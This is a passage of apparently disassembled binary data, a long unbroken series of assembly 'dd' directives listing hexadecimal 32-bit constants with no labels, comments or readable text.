0C55EEAFDh dd 24290B0h, 0EA314A1h, 591DE9B8h, 0B38EE0BCh, 0CBEE1227h dd 258B4815h, 4AC2A065h, 0B731450Fh, 8BFCE778h, 283A1D63h dd 0F9C9B9C3h, 46D5B857h, 0AA2E89A1h, 0E92CAA68h, 0D6F8B62Fh dd 0F689EDE9h, 0D7924454h, 0DA70CCFBh, 5011FBEh, 0C8BDCEB9h dd 44D9E13Bh, 0FEF8AAA0h, 0DBE8AAA4h, 97F0018Ah, 4A84E630h dd 3AF5E9B0h, 0EE3CCDFEh, 0BC2C3F5Dh, 0DD7F16F9h, 608CEC49h dd 949CCB1h, 12E255A8h, 0E10B48D4h, 3A3EC57Eh, 51A26FAFh dd 0B4737B6Ch, 0EB073CA6h, 0BE51565Dh, 0F86B0A37h, 0A61E2436h dd 0FDD0888Bh, 0E6D18D48h, 9EEE810Bh, 17C75001h, 0C1555EF5h dd 0CD689F54h, 0CF88E63Eh, 0A9E90B07h, 54B72B50h, 72C35808h dd 0E63AEC0Fh, 0F72F4C68h, 8C784BEAh, 564F515Eh, 98D28964h dd 5862690Ch, 64972D6Fh, 7740F89Ch, 32517755h, 481E2AF3h dd 6E598161h, 41297ACCh, 33CB3EB0h, 0BE7D465Eh, 0D327A526h dd 0EE4BDA9Eh, 0BB112C3Ah, 8EE1013Ch, 312C6033h, 6C41F4FCh dd 56893027h, 5F58E202h, 98A47D09h, 14BCBE52h, 8AE54E79h dd 335817h, 6AA41FB8h, 0A2E858BBh, 0F4A100E9h, 170BD906h dd 0AAA355E9h, 58515FCCh, 4600CE52h, 0B95A27BEh, 0D82CBC84h dd 4B24C44Ah, 0BC8DFCADh, 578F8697h, 0F008CD88h, 2AC54F0Eh dd 0B30BD609h, 0AC6B82EEh, 4EF3CB60h, 8A1ABB86h, 96D8750Ch dd 0A8E7E917h, 68A221FDh, 95A9D05Fh, 0E958C456h, 8B4849ADh dd 5A50E303h, 0CBB036FCh, 70254B94h, 0ACAD004h, 0DB3C61EBh dd 0DF600BACh, 942E7FFh, 984EE2C9h, 3BC564Bh, 35471EF1h dd 0E0BE003Dh, 1C7CC23Eh, 575F2F2Dh, 55247F96h, 80828752h dd 0EA777A4Bh, 0FF070B45h, 74454B02h, 2992A2FBh, 37D1604h dd 15868ABAh, 3824D73h, 6DB5BEEFh, 39F4DF9Fh, 26D8D8EAh dd 0E1D5D3AAh, 6DF49B25h, 0EA42BD3Ch, 0CDD67AE2h, 80086158h dd 800713B4h, 0E328E5F4h, 92B04AC4h, 9BFEB701h, 0E9BB4952h dd 0B85EFAh, 773085BAh, 70C00942h, 3C91F581h, 8860F37Fh dd 5B9DFA84h, 3A9AD6Bh, 361672C7h, 9F0C0008h, 0E9CC85C2h dd 0D4B97932h, 0A8719B02h, 155C5575h, 0E60EDABAh, 0AAE44D9h dd 3E0959F8h, 0FE004BE8h dd 719F78A1h, 429618C1h, 0D9705CF2h, 16914EE9h, 15A1DCB0h dd 7CBD3170h, 50B15001h, 2AEE8BC7h, 0D545F822h, 51CE3687h dd 8368CF6Eh, 1213281Ch, 0BBF6E062h, 8DCD27DCh, 38430962h dd 74C469AAh, 2654C40Ch, 0FC07CC5Bh, 910D4AFBh, 7CCFC5ACh dd 27E3A5D7h, 8FE26D94h, 5413C25Eh, 58A22609h, 472D0088h dd 13B401Ch, 7A205F0h, 58D7F1FFh, 5E31512Dh, 1E0D60D2h dd 97C54A68h, 399C91FBh, 878D2F5Eh, 27234DE4h, 64DE0F82h dd 72544B07h, 573C0D9h, 0D48009EDh, 0C17D09F8h, 81A66DA1h dd 9E6E2347h, 7206D6C1h, 0D0FFB68Bh, 2A2C4FFEh, 0C9FE1779h dd 65D89CABh, 1E690895h, 0A43D06D8h, 984B207Ch, 2C8741BDh dd 0F8F01220h, 3F236096h, 0A8BCC4F5h, 7D89A33Eh, 32A03030h dd 24286BBDh, 2611A5Dh, 4E38DF5Eh, 899A03D7h, 0A8AACCF2h dd 9DEF93F5h, 1D2140D7h, 5F3EA837h, 9E5BF4Dh, 0C3A5765h dd 3E047890h, 292FFFDBh, 73AF92D1h, 0DDE905B8h, 0C2CCD282h dd 64B2D3E1h, 0A5FC32B5h, 0CB0C4468h, 5869B08h, 0BF2C8758h dd 991057E6h, 7947F4Eh, 1B22D042h, 5644C5E7h, 0B86BB40Ch dd 517F6041h, 0ECF4DFF8h, 52BCF5ABh, 8A541893h, 2C3880BEh dd 8A21AE66h, 33FE4C12h, 0A4C957B4h, 0DC7BA83Eh, 0AD20393Eh dd 27D05077h, 0ACC41DA7h, 445AA598h, 85C515F2h, 2E98406h dd 71F2E9BAh, 0C08BB2DFh, 9391006h, 0D1012C15h, 13083A08h dd 0CBFB5Ah, 53C4549h, 0C1D035C8h, 0FE67D416h, 8072E88Ah dd 595E68E0h, 0AC0318B6h, 0E97A5011h, 0E45F16CAh, 7FFD206Dh dd 329C7D9Dh, 0F143A92Dh, 74CB275Ah, 76CD11B0h, 0CD21E524h dd 5E545641h, 2D47DA3Ah, 0DD468BBFh, 0BB09AA0h, 65903D94h dd 8D2816FEh, 6DEAC662h, 7DEAC180h, 5D272D03h, 0E7743275h dd 9ED125E5h, 9BF14E44h, 0FA4AD47Ch, 0A424922Dh, 92D89F87h dd 0C56D796Eh, 9BED0E11h, 0B8BC210h, 5CCCF180h, 9AD43185h dd 0D001022Ah, 5FDA40BAh, 0E15D55DEh, 1516576Fh, 639D1DB4h dd 0DF019629h, 29158E6Eh, 202FE69h, 7ADBE940h, 803EDEE8h dd 68B0BA12h, 958937B4h, 0FC2D6BE7h, 16A006Dh, 0EDB8145Eh dd 4F945312h, 5B728BBBh, 468D2940h, 0F1293A6Fh, 580C0219h dd 80274479h, 70EBBFE3h, 0FB1D4BF8h, 9448079Eh, 0FA36169Dh dd 0E63B9A39h, 0C8E987A9h, 0E933D69Bh, 68AB8A0Fh, 0C38399C0h dd 0B52D20F5h, 16AE401Fh, 57FEC68Bh, 5A59DBEEh, 12BE014Ch dd 1301F07h, 0AB045629h, 1D456E0Eh, 231644C5h, 85650EFh dd 5140C68h, 1851EE9h, 2E10DC32h, 92C1EC0Fh, 841C1FBBh dd 0F774EBC0h, 0A10DD8h, 356A1D16h, 450B2E67h, 2AC02502h dd 0D5F73C79h, 3D6B36E8h, 2742894Ch, 61688EADh, 12234727h dd 0F5AD273Ah, 3E3CB1A8h, 0B788A6E0h, 85DA42Ah, 762C70F3h dd 575D1932h, 148248DCh, 4252447Bh, 13C8C1A4h, 482F032Fh dd 5C272E1Ch, 663E0115h, 68CCE1F7h, 0FF6D4EA7h, 41960D61h dd 806F207h, 652FB3A2h, 0E0BD115Eh, 0FE17DA62h, 0BB53034Dh dd 22475F8Eh, 6408EBF9h, 0D361F7E5h, 0B73EE911h, 0D4EDAB50h dd 0DE51320h, 4A88EA5Bh, 0BC759734h, 0E8DBB5A4h, 70BBF61Eh dd 11271A90h, 24F245BCh, 8C50142Bh, 5460F902h, 0DE754D09h dd 0F0DA47BAh, 0F5877A2Eh, 8D8D6F8h, 2F10ACD8h, 4003E640h dd 1A818EBDh, 0A8887B57h, 4E8D2768h, 0FBCE2918h, 1848B980h dd 78026E61h, 0E609DAF5h, 0E23FE920h, 31F3C714h, 7AC4E915h dd 0CD80AA03h, 1FC5999Eh, 213E1761h, 2F8CDF95h, 83808DDDh dd 0E03AF9BFh, 7D4EE90Dh, 0C8D10DC2h, 27EFA4B7h, 8C54D4CBh dd 0F1232913h, 0ACB0B5E9h, 0FADD6901h, 0F4A5A65Eh, 22E9C1C6h dd 0B5E76B6Fh, 0F55D324Fh, 0D16E887Dh, 0D81969CFh, 6859099Fh dd 70984FCAh, 0B7075350h, 80CFFE30h, 0E732A927h, 167F670h dd 0F8884AEFh, 7DC5CD5Bh, 1C0C8571h, 54F62447h, 4B6201E6h dd 0CB26A861h, 70F50950h, 102D00CDh, 29BD0172h, 0CE9658C5h dd 3088FB0Ch, 95F5905Ch, 9B68B4E8h, 49CC2D4Ah, 88F3407Eh dd 57FAD15Eh, 9740F20Ah, 9C0E3A35h, 3DEA1779h, 0F26760EFh dd 734A666Bh, 2D68051Eh, 4D7B613h, 6C36E956h, 428CBD01h dd 5C75CAA7h, 0E0551276h, 0BF7257D2h, 35B37103h, 92FB8953h dd 808071DEh, 0D5CE815Fh, 4F2F917Bh, 78B3D857h, 7FB304D3h dd 0F34520E9h, 0E1C010C6h, 80B00E7Fh, 0C36901EBh, 0F980155h dd 0F03ADAF6h, 0AA01C2B1h, 885AD328h, 63E65BDEh, 0E9CEF047h dd 0E734EB09h, 4FCEBAC7h, 567F0F1Fh, 0B8D0C9BDh, 535C8C18h dd 9363D99Dh, 5C29BB55h, 0A4A5F492h, 4B9FC16Fh, 0A264DA24h dd 0DFCA31E9h, 43922102h, 0BC0800FEh, 9FE3D93h, 4F143DF9h dd 302D9FC0h, 7217E92Fh, 0D6891260h, 64C1F0CCh, 0F137EE60h dd 1F88331Ah, 76C80156h, 0FE0C6CAAh, 8D4F6CCh, 0C2C43080h dd 0E130CD06h, 0F2FCB898h, 45C15EB7h, 0A093FEA2h, 2D242BA1h dd 27726D1h, 11B94F4Ah, 7FE74BC0h, 893C5812h, 90EF3113h dd 862EE9EAh, 5F5458C4h, 0B8DF469Ch, 0E0BE4D64h, 0BD187913h dd 4FB81BEh, 0E9017C0Ch, 24176AD4h, 0EB5938AAh, 8C6DAE0Bh dd 2BDEA40h, 7F6C50E1h, 683020C6h, 7789D54Eh, 29535E5Eh dd 6F601ECh, 52AF05BBh, 2322BA35h, 0A9864BB4h, 0A873E59h dd 0D5C0095Ch, 0E315B1EFh, 0C7F37A1Ah, 0C94FCB1Fh, 0EB934267h dd 7932EE56h, 3CF24088h, 17019A53h, 0EAC02B91h, 5B6A3445h dd 36500FF7h, 9281353h, 0B186016Dh, 2F92F6D7h, 0B82E03E1h dd 0F0ABE4EDh, 2E86EBA5h, 83A68228h, 138E6D81h, 6702F7A0h dd 0BA239624h, 1877B902h, 0CD81FF54h, 6B8FE4E9h, 0CB5AAB8Ah dd 25E912C7h, 0F2FE5E82h, 3DBF2042h, 0F28252BDh, 41684F4Dh dd 62119346h, 1CBB2A1Ch, 570FC223h, 4A7D6132h, 0D20808A9h dd 3E4B3617h, 0EB0FF53h, 502D6EBAh, 7E82833Fh, 511BB155h dd 7CF587DEh, 611A63D2h, 744F383h, 7F94CBFFh, 11193E14h dd 8A683F9Dh, 152DDB63h, 516EF50h, 2958AC02h, 8D510CFh dd 13735924h, 64C71668h, 50270ECAh, 0B267EC1h, 0EC862B62h dd 0B52D006h, 5910D542h, 0C0BA01C6h, 3142B61Ah, 0FBB5A828h dd 5EE9593Ch, 9D70FB37h, 0B9489768h, 840A40Fh, 801D55BBh dd 8F584C8Eh, 0D9F606C1h, 279B7B0Ah, 0C2F1EFABh, 0E1A0A87h dd 7231638h, 704E478Eh, 997EDBEEh, 73123F4Ah, 531A8804h dd 86032D00h, 0F4F4D27Dh, 0BF4BE79Ah, 408217FEh, 856538FFh dd 7C5F0111h, 0C4181E3h, 57C6FD21h, 296453FCh, 0DAE2F684h dd 0ABE5D184h, 71C74904h, 3163B6AEh, 46C6FC58h, 867D0105h dd 0E77A402Ah, 4DF681D0h, 32BA231Ah, 0BB1B45CCh, 479FC302h dd 83C112D1h, 44127E42h, 0E9F083ECh, 0BBC6DB39h, 2F157E46h dd 149831E3h, 5D81AF02h, 56D2A472h, 0E1E811A8h, 0CDEC6F70h dd 0BBA72645h, 0FA4FE38Ah, 1F528635h, 99A9EAFh, 0F298B7E9h dd 2BF409A4h, 5A772170h, 7AAFA1A4h, 4BCF9530h, 1DCBAF59h dd 9A829955h, 67F7191Ch, 701BF4Ah, 665D99E9h, 0A3116E8h dd 9D5869A7h, 0A32A3C12h, 61F82788h, 0B26E05E7h, 99631791h dd 0F57CCCCh, 60412768h, 82295F04h, 6CD70825h, 0B917D0DCh dd 97278A25h, 0A29272DFh, 5BAE5655h, 7E6546F1h, 3785A5F8h dd 7188BF64h, 27D97AC0h, 6D74AFFAh, 0CC412F62h, 5FC3F262h dd 7F25FECBh, 50C107FEh, 4C91BF6Fh, 1942009Bh, 0CB81103Ah dd 0A131252h, 0D2341D39h dd 54594BF6h, 173D680Fh, 2205C9BCh, 0F1AD10B4h, 0C70F9C4Ch dd 158B199Ah, 683768DFh, 975D7070h, 6640327Fh, 5EF012D7h dd 0E9153805h, 0BC84874Bh, 0A0EF32C8h, 822701D7h, 0A8F361h dd 17EDC981h, 0E361234h, 0D1CC1055h, 965F0F22h, 0B8F4041h dd 0C13E0211h, 42FE09E7h, 59682194h, 98B512C8h, 1A534095h dd 0FE457191h, 7CB5077h, 8719E3B9h, 546EA27Bh, 3360A87Eh dd 0FA0E501Bh, 16269E9Bh, 1FE109FEh, 53B4F1F0h, 0E1FA89C9h dd 7FD85BD2h, 819B72Dh, 3912C52h, 18284EECh, 7C24059h dd 0C21C4FE9h, 6DDD6628h, 65ED1FC8h, 0A42F01CCh, 0D8115DFBh dd 2A0ECCBAh, 0A3F04C4Eh, 3D9FA149h, 2C521EE8h, 5A4CC831h dd 2CDA1B80h, 0AFB02A44h, 2E2B9F01h, 0D8F7951Ah, 413D54CEh dd 0C096B551h, 666459EEh, 0E905ED0Eh, 0D1C2A0B1h, 0E535E802h dd 633EC7B7h, 0B34D8824h, 0F2810272h, 54DE25DCh, 3B490DC1h dd 0CA8F0DF2h, 0FFC153ABh, 0D3EC7A66h, 452CABB4h, 0AB56121Bh dd 5B20BA26h, 0FE090C8Ch, 2A7E904Bh, 80CC799Fh, 0FA227A8h dd 0E801DCB6h, 0E42088C9h, 0F675EF80h, 0BAC0D73Ah, 1FDFBD07h dd 0C74C7BE7h, 5A00645h, 285BFD88h, 450EBBEFh, 0E9A141EBh dd 0A432BBD8h, 16815A77h, 493F0BD2h, 3132C5F8h, 0DD9CDED8h dd 5EF13123h, 5F608020h, 5B45B9BDh, 921F9884h, 613341A0h dd 5900D2A9h, 15BDA08h, 2CF7F280h, 20D02821h, 5F82407Dh dd 0B5971876h, 7C7B47EEh, 0F81D0871h, 5D8573D3h, 0EE05FDA3h dd 0BAF034E8h, 90BF3885h, 0E9D601E7h, 0F9930C27h, 47C9CFBDh dd 70A48258h, 0F4109C0Bh, 0BC3511Bh, 98464785h, 5645FEB7h dd 0DF8F682Dh, 19BE6A90h, 0E9CC0D28h, 8065997h, 6804759Ch dd 5FF35730h, 8970EE2Dh, 2C18312h, 0D2C41EB2h, 21F7981Bh dd 5D6D3A04h, 0FDBE4C31h, 5ABD97F7h, 0EA741185h, 0C1482A40h dd 32D02E8h, 46CA6585h, 805BC631h, 0A83A73E5h, 0A3FAB546h dd 30C2458h, 20B452A7h, 0FE3F2CCFh, 4D2AB0CCh, 3FA8EB81h dd 1CDA6D69h, 1908A8F9h, 26C861E9h, 41E47F2Dh, 5D305389h dd 9926632Eh, 205B7829h, 0D9B00799h, 93470B13h, 4020A8F8h dd 5B45F4Bh, 0D3761402h, 1520E661h, 0D2ED8101h, 1B067EBh dd 0E913714Bh, 0FBA856ACh, 41D26A88h, 4F1C7C37h, 0B5788D8h dd 0A629F5BFh, 92E7E183h, 0CA87A0B5h, 0EC647D45h, 0D73C1FF5h dd 52F9561Ah, 0BAB100EDh, 3097D86h, 1FCA8104h, 80B88A4Ah dd 756DE501h, 3F57E93Fh, 0B2BA3E13h, 9F83CC5Ch, 6E48722Ch dd 8B541E12h, 4F4B0E10h, 1489B9A3h, 7AB855B8h, 62805800h dd 99016CBAh, 3BD49FD4h, 534CE200h, 2C6840E3h, 0C0523B26h dd 2D357DD5h, 79F1314Bh, 1273DF6Ah, 0E3BB8DD4h, 0E6809F0h dd 5B9C197Fh, 4C9F9420h, 688E434Bh, 8FB06E2Bh, 48072B4h dd 0F202E4AFh, 240BA0Dh, 2882EE80h, 0DED85AF0h, 2A509C48h dd 8013872Ah, 4E08DAF5h, 68910248h, 2FAA47D9h, 6E7C2FD6h dd 72782D71h, 36765F25h, 40585609h, 0DD36C0FEh, 0BBB5B7Eh dd 7571B2FFh, 2D668068h, 1D640A3Ah, 5D9D029h, 68F05A0Eh dd 0E93E093Ah, 59578BF4h, 43E9E146h, 28B7B6Bh, 0AAEB4F76h dd 3420C08Bh, 0DF515E27h, 0ABC5E3Eh, 407BB880h, 13256E1Fh dd 0D5304Bh, 0E905E017h, 33AB3CBEh, 7E54EDC1h, 0B7EEB252h dd 0D9E9C47Dh, 53017EACh, 0CB8077B3h, 0DF069FB5h, 1C51168Dh dd 392D5020h, 3813E361h, 50E8B601h, 7C01638Ch, 0CE2119E4h dd 69534AE9h, 7A9F1F0h, 974D46Eh, 1EF55B08h, 26E9162Dh dd 0E7D7FEDFh, 7DA0A884h, 0E219729h, 20EFC101h, 5E0BF7EFh dd 0D8E1F34Bh, 2C3FFBA7h, 0E65DE99Eh, 0C15905BDh, 91A806EEh dd 0A1206548h, 0D05A70EDh, 4BEF1A39h, 502AEA8h, 794D11C7h dd 8257A861h, 0E0029322h, 19505F69h, 0E64EF025h, 0BE45B0AAh dd 2E5C59BBh, 0EFDE34FBh, 217E2199h, 43E67A3h, 79D193FEh dd 7A7C39Bh, 99EB87D3h, 56C16202h, 32DFC449h, 803018FEh dd 0EEABB614h, 0E4765F1Ah, 5898C255h, 888004E7h, 28BD3362h dd 5DE4718h, 736C320Ch, 0F5D00141h, 704AA07Ch, 4F05C4F8h dd 0C6E92F4Ch, 0FB7146F1h, 0D320A92Fh, 81F2FC16h, 550060D5h dd 8D026C68h, 74DE5D05h, 5D310F32h, 6CA4B9DCh, 0D1AC5B2Bh dd 9A594C5Ah, 0F68103CCh, 5B2C0D52h, 714E860Bh, 58C98410h dd 0F34B8CF8h, 3368846Fh, 5311CCBBh, 725BC4F2h, 40B05B8Ch dd 4CB7BF37h, 5F083F96h, 0F8D5B192h, 52BF964Ah, 6EA3BAA0h dd 0F24BCF16h, 0A6573C58h, 509A7982h, 0C92AF739h, 3BC7107Bh dd 92809BFh, 58F05553h, 0AD63CF38h, 2817813h, 4C3B5CECh dd 71D8F989h, 7705AA0Fh, 25F3E01Dh, 0F962D732h, 978AD830h dd 0E4C6748Bh, 0B3DF6097h, 20502460h, 0BCCF131Ch, 8C99CA04h dd 4A4378ADh, 56FDF05Ah, 4C94BE04h, 3AA16B3Ah, 5E1A56Eh dd 517D2C0Bh, 6E23E916h, 9BE01489h, 7F5D924Eh, 0D36D2FEBh dd 0D8490DDAh, 0C0C33A72h, 687E40F9h, 9607CD1Dh, 7FC45E1Bh dd 54402704h, 126339FEh, 29682558h, 2F8F6140h, 7F21C925h dd 8BB00768h, 0CC8FE1Ch, 53D0F681h, 0E06ED5B7h, 0C11C8080h dd 0E9CF284Ch, 99FBF2B8h, 6AFD2E9Bh, 9BAAE9C2h, 25DBA0D7h dd 383C6C73h, 90C84B5Bh, 754FD007h, 0CA563943h, 9083C780h dd 58315B5Dh, 0DA3157FBh, 2B5AD10Ch, 68CD44AEh, 2A3DE171h dd 0EBB45FB9h, 9352E6CBh, 79679704h, 51BC8012h, 5917CA4Dh dd 0C85227E9h, 1C0B5B04h, 0FCD15C0Dh, 0A09F8890h, 20BC3E5h dd 1EC2FC7h, 98E994A1h, 75F979B2h, 47966A1Eh, 45CE60CBh dd 33B809F3h, 3D629E74h, 0B50EC1Ah, 27515BF9h, 0DCA0BE50h dd 3D3037ADh, 1B2A0C14h, 45B2A09Eh, 27A29B4Ah, 5F825822h dd 28546801h, 0D9DA756Ch, 2C021BDCh, 552A862Fh, 0EB68EE40h dd 0B166653h, 5FD93A50h, 4C333A02h, 638B5AA9h, 79428562h dd 0E978BC54h, 61A24851h, 0FC1C658Eh, 0DDB38FBh, 28EB4Fh dd 0AFEF5A83h, 0F6328629h, 0B567E84Fh, 0E9C7F6E2h, 6AA9FB80h dd 3B26E7AFh, 5DFEC30Ah, 0F18440BFh, 8484827Dh, 3FB20032h dd 1FA3B652h, 4D8DC680h, 20AF15C4h, 809664D4h, 1F386167h dd 4AFBFB46h, 0C0E1B827h, 52BBB450h, 281201B2h, 88515AD4h dd 33FB78E5h, 0EBD66858h, 0D2C0EBF3h, 8D2EE108h, 2FDCF320h dd 9BD8AD04h, 3BE22C5Dh, 0C6B71250h, 0DDC631BBh, 8ECC7B31h dd 0D3056232h, 0E2D62176h, 65B78EB0h, 4EF87828h, 7266045Bh dd 0F1210A36h, 166AC308h, 61DC0952h, 3CC5Fh, 865F0ABBh dd 10E95631h, 62CF9DABh, 2556975Dh, 0EA17DE82h, 4BD87451h dd 13196879h, 0DD38649Bh, 5485E25h, 0D7A9AA7Ah, 34287A51h dd 1E7B6F78h, 0AA0F1240h, 0ED27C163h, 0E5FBE003h, 0E4E92D06h dd 0E8F30368h, 2C256F07h, 0EBDEDD01h, 7C46D7F6h, 4BE95454h dd 148E790h, 2565C18Ah, 816A1FE9h, 0E473CEEAh, 0D1161950h dd 0A71F4EE6h, 255238C6h, 0CE0F120Ch, 30AF816h, 13C60B02h dd 0C3102129h, 0DB00CB24h, 2E21B850h, 0E81D5A8Eh, 1CD110F8h dd 9EC6800h, 0F75807B9h, 7E25D000h, 0E92D3373h, 0A8CC4E65h dd 550B9E94h, 0F9E7F55Eh, 0B30D888h, 0EEFE05ADh, 2E4B6884h dd 90DE85ECh, 10D15238h, 4050F26Ch, 0F7682A05h, 391295BCh dd 0C7CAC6E5h, 0C5167DAFh, 5F8F99B7h, 0A2A9FD3Eh, 0AF9775Ch dd 0C461D66Bh, 8B86F8C7h, 49085C55h, 0F8AABE05h, 83815EB3h dd 0F6452468h, 41A9F7AEh dd 2AE80F7h, 0FCE6814Ch, 0A09D4B1Fh, 5504B172h, 0F3013DE1h dd 0D711E2AFh, 0E67E51AAh, 0F4D4EE13h, 6E5804F9h, 39A186E7h dd 616F9C18h, 2EDA685Bh, 0EDD325ABh, 0E401B346h, 0E909AFFDh dd 0ECAFDEE7h, 0AC6B7E8Ah, 0ACF8196h, 0A05F60DBh, 0DB507DCh dd 0B2F336EAh, 5887A255h, 0F76A425Bh, 5AA8A54Bh, 245FD56Eh dd 2D7A9E8h, 7DC365E9h, 2A73B443h, 3A3B7B0Bh, 0BDEB7A14h dd 9CE6B010h, 827F5981h, 0FE77586Bh, 38CC7949h, 0D405021Eh dd 0D73C5FEAh, 38C53841h, 515225ACh, 0D821589Ch, 80F5397h dd 28021F68h, 0F63604F0h, 2693C3CDh, 3DEB4D04h, 6D87EEBBh dd 0B5495FCBh, 3E8030D9h, 0F16A3641h, 0F006A413h, 56AC7A09h dd 4873C024h, 39800D6Ch, 0A06E7770h, 4F3861A7h, 3BD8ACFBh dd 0E9825044h, 7FD7C825h, 9C3E2EC5h, 0D72579ECh, 2A01C619h dd 68A368BCh, 21FE0BD6h, 58507664h, 5FE8AFC4h, 3A96EAD3h dd 33B0AA6h, 40F7497Dh, 0D838C4C6h, 22BD295Bh, 1803022Eh dd 6F691C08h, 8C0FC428h, 0BB7D9E05h, 84BB290Ch, 0A9081A5Dh dd 56CA541h, 45FDA5FEh, 16CDBC32h, 7E097B04h, 0F416D7D9h dd 4B3B1438h, 0E9073CBAh, 0FFC5D213h, 98B5F3BAh, 0B0535133h dd 81059564h, 0B6B28088h, 0E6252867h, 2469F058h, 316A80C6h dd 9E53660Eh, 0C28F2E94h, 0E9DA4167h, 31265B84h, 18E6882h dd 0F297E479h, 0A6BAC385h, 65BD4B58h, 0BEA6AFF5h, 0DD01FB4Eh dd 16E9D701h, 0FE1BD928h, 77C904C8h, 16713232h, 0E2DD09F9h dd 12F0CF3Eh, 71A44E5Ch, 8559523h, 0BD249786h, 1C45B554h dd 0F67F3B8Bh, 7B5C7163h, 430039ADh, 55C7CB81h, 82A04F47h dd 0AD2DBFBCh, 25EAD84Ah, 135468FBh, 0E1AAC2C5h, 7AD66042h dd 65160583h, 0FE18A526h, 0B850CF60h, 0EA5A8402h, 0E90B91FDh dd 26A9E8AAh, 0DF282456h, 80F9C220h, 1763D5B9h, 0A00130CDh dd 8990FD72h, 0AD514D26h, 0E302D628h, 0E912DE3Eh, 3561DE09h dd 0FB8A174Ch, 0D7D28DC7h, 82A2D748h, 0C45790B1h, 0DF885038h dd 0EF624A82h, 0AA4F0C8Ah, 1930B91Eh, 6B712E10h, 8B7CDF72h dd 90F97F49h, 35B85CC4h, 311968C6h, 608CE925h, 76BBBEh dd 0BF56932Bh, 42C90AFFh, 26CF8100h, 0F77F746Ah, 0F604D8D7h dd 29F63F87h, 931F0E9Dh, 416D8FC8h, 5AD6F8D0h, 0CE0575B8h dd 703B1B91h, 2BC4FD1Fh, 74C04473h, 16D472E2h, 0A84EE94Fh dd 28B35FFCh, 185EA4D3h, 49743144h, 0D485A634h, 0C9EA4075h dd 439002E2h, 72ED494Eh, 0C7454006h, 0A5090C4Ah, 0FDB13442h dd 0AC8D7BCBh, 245726C9h, 58AD066Fh, 268F692h, 69D02289h dd 845F215Fh, 0B2A87726h, 7B354001h, 6A41830Ah, 41D347F4h dd 0A6B8470Bh, 512CB323h, 6BB547h, 170BB3A9h, 835A120Eh dd 0CA6A03EAh, 84CD1F7h, 2F890499h, 30344A0h, 81914095h dd 2C2720F5h, 43FFC05Bh, 52F0886Bh, 0D7AAC29Bh, 0BC136182h dd 80D90400h, 0B81170EBh, 69612033h, 515F93A0h, 0C49B933h dd 3A83E182h, 994EC730h, 621102FAh, 604909E5h, 4E523FE1h dd 0C1E680FBh, 2C485908h, 577A0616h, 2EDE7F6Fh, 0C0985FECh dd 3A12C99h, 7E887AF1h, 708CC4Ah, 2712CC68h, 99801DFEh dd 24DFE9F6h, 25D397DAh, 1E106D7h, 6F122584h, 0FEF24A57h dd 0F47B2795h, 7051863Ch, 7D8594Eh, 53337E02h, 0C16A6C01h dd 70B44C2Dh, 0CE1E5E8Bh, 85564B73h, 6900CAE7h, 4D62C260h dd 504CC7E9h, 6056A2F7h, 9247F16h, 83E930F6h, 53FA9CC2h dd 19493298h, 7D004B8h, 2FB15547h, 19A40D61h, 0A7194C50h dd 25C18340h, 88FE07E1h, 931F7B58h, 2FC00B86h, 1173EFA2h dd 0A42BE18h, 21297151h, 0E28102C2h, 84D52F3Eh, 12EA2D43h dd 87F3FF8Fh, 671BE983h, 3BE1F105h, 52C0BB4Ch, 25284BC9h dd 80FD3674h, 301AE937h, 3A277F92h, 7102C8F1h, 59CF31CBh dd 5E2E161h, 967EB5FEh, 2DBE5BF9h, 0A78C2BC4h, 388D0EEEh dd 0C62F0173h, 7F08A81Ch, 0FAB45BE9h, 51787130h, 257D4Ch dd 871E48C5h, 0FEA0E905h, 7BE28D3h, 0A6E0D1B9h, 879D8328h dd 0DC925050h, 96D580h, 0E04ACBFAh, 5ACE22BFh, 0BA6BC084h dd 5F38A18Ch, 500B3DAh, 4321361Eh, 67F73E87h, 5B912734h dd 4920EB29h, 0D3411F6Bh, 0BD87CB31h, 0B94ECAC6h, 0EC3B50A1h dd 416EE6BCh, 1BC23ECEh, 467DA06h, 6ECB2AC7h, 0FFACFA18h dd 0C9AED02h, 56756A6Bh, 0E911B146h, 4ADA3CBEh, 134ECAFAh dd 0AA94BADh, 0BA12EE96h, 10EDB920h, 3B7E2515h, 8913FEDCh dd 36DD3304h, 42FF0509h, 5DB389E5h, 0AE8962EFh, 84ADA941h dd 95037BCAh, 601D5F7h, 0D34635D0h, 0C29DE755h, 537D3FCh dd 0EA44BAB5h, 60D1ECCh, 91DB03Fh, 2D5A56CDh, 6037838Ch dd 26E37D24h, 2131073h, 29A69C68h, 55CD1772h, 12AFA8E0h dd 77FB68B8h, 0A079B519h, 6906642h, 48401727h, 6F61BA89h dd 20816444h, 201C577Ch, 32185089h, 8182693h, 2E70F4C5h dd 0EA55CB01h, 3CE2411h, 72B20C38h, 886D3A3Ch, 39C1155Dh dd 7CE5693Ch, 4FF5A2BEh, 0B567E881h, 1DBA889Ch, 0B33C946Dh dd 0A120BE04h, 65AAC02Bh, 3248A679h, 57CD1078h, 29B2D50h dd 68218B0Bh, 1F6C0971h, 0FE17250Fh, 0A7647A11h, 0C2608137h dd 0C63A4D3Fh, 144F0712h, 0CA48E478h, 84D710B9h, 1821D740h dd 0C69093Dh, 940B7472h, 0C016E9A8h, 5AB1512Ah, 974EE078h dd 0FD8012E1h, 2DB6C080h, 0C0F2F120h, 1208E134h, 605EA105h dd 1A0787FDh, 0B22BA942h, 866E36Eh, 4B5863F0h, 45AA84CAh dd 4D575AFh, 0EAFFB809h, 18273A8h, 1E4156C3h, 85BE05EDh dd 0F6E0BA91h, 6C9A04FDh, 0BEF1E91Ah, 0E7BE2852h, 455B12DAh dd 0C1C5C8FFh, 7D7C51F0h, 7245629Dh, 0D85A5F6Dh, 0F52568C1h dd 0A2C49948h, 94F0F83Eh, 0C1C613C1h, 7383BE6h, 34FD97F0h dd 0C30D7ED5h, 0C811C3FDh, 0DF01B088h, 51698C9Eh, 386D085Bh dd 54D8BB02h, 92E0608Ch, 828A944Eh, 439369EFh, 26B97BF7h dd 32C20054h, 4A45156Bh, 4A2D50B7h, 8B8E822Ch, 711CFC57h dd 28666858h, 1B2A9E28h, 6BA0704Eh, 5795F99Bh, 705671Ch dd 57FBCE5h, 53C1D1EBh, 0D7F47ABBh, 0E9D80929h, 5B578F19h dd 0E162965Eh, 27D70256h, 5797EF6Ch, 0B899F2B6h, 8F85572Fh dd 5846015Ch, 0F835AB11h, 8BA9B041h, 54F600EEh, 206A2F3Fh dd 0E9A922FFh, 2F5DD4CCh, 0BC1C1EFDh, 0C168C141h, 1E516321h dd 7AB85650h, 0D7E03EFDh, 30C9D8CCh, 0EF5C875Fh, 3D2D1659h dd 0BAE47CECh, 5A36CD80h, 0E9161A14h, 0E400B93Bh, 